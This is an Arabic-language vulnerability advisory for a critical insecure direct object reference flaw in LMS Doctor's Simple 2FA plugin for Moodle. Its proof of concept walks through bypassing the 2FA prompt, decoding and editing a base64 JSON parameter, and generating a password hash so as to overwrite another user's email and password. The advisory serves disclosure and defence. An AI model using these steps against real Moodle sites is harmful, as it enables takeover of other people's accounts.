
ثغرة مراجع مباشرة غير آمنة للكائنات (IDOR) في "إضافة التحقق الثنائي البسيطة لمودل" من LMS Doctor
ثغرة المراجع المباشرة غير الآمنة للكائنات (Insecure Direct Object References - IDOR) في إضافة "Simple 2FA Plugin for Moodle" من LMS Doctor
تفاصيل الثغرة
الخطورة: حرجة
الجهة المطورة: LMS Doctor - Simple 2 Factor Authentication Plugin For Moodle
تم الكشف بواسطة: Flaviu Popescu
الوصف: ثغرة المراجع المباشرة غير الآمنة للكائنات (IDOR) في إضافة Simple 2FA Plugin for Moodle المطورة بواسطة "LMS Doctor". تسمح للمهاجمين عن بُعد بتحديث سجلات حساسة مثل البريد الإلكتروني وكلمة المرور ورقم الهاتف لحسابات مستخدمين آخرين.
إثبات المفهوم:
عملية تسجيل الدخول الأولية باستخدام حساب مسجّل ذاتيًا (dionach.tester):
POST /login/index.php

عند ظهور مطالبة التحقق بخطوتين (2FA)، يقوم المهاجم بالتصفح القسري إلى الرابط التالي بدلاً من تقديم رمز التحقق.
POST /auth/simple2fa/profile.php

يتم التقاط هذا الطلب في Burp Suite:

تحتوي الوسيطة "u" على سلسلة مشفرة بـ base64. عند فك تشفير السلسلة، تظهر البيانات بتنسيق JSON كما هو موضح أدناه:

يقوم المهاجم بالتلاعب ببيانات JSON، بتعديل id والبريد الإلكتروني وكلمة المرور والاسم. تُعاد ترميز بيانات JSON إلى base64، وتُحدَّث في Burp Suite، ثم تُرسَل إلى الخادم.
توليد تجزئة (hash) جديدة لكلمة المرور:
$ htpasswd -bnBC 10 "" pwn3d! | tr -d ':\n'\n
$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy
مقتطف من البيانات المتلاعب بها:
{"id":"8045","auth":"email","confirmed":"1","policyagreed":"0","deleted":"0","suspended":"0","mnethostid":"1","username":"dionach.tester2","password":"$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy","idnumber":"","firstname":"Dio","lastname":"Nach","email":"flaviu.popescu+1337@[..]", [..]
مما يؤدي إلى تحديث حساب الضحية، ذي المعرّف 8045 (dionach.tester2)، كما هو موضح أدناه:
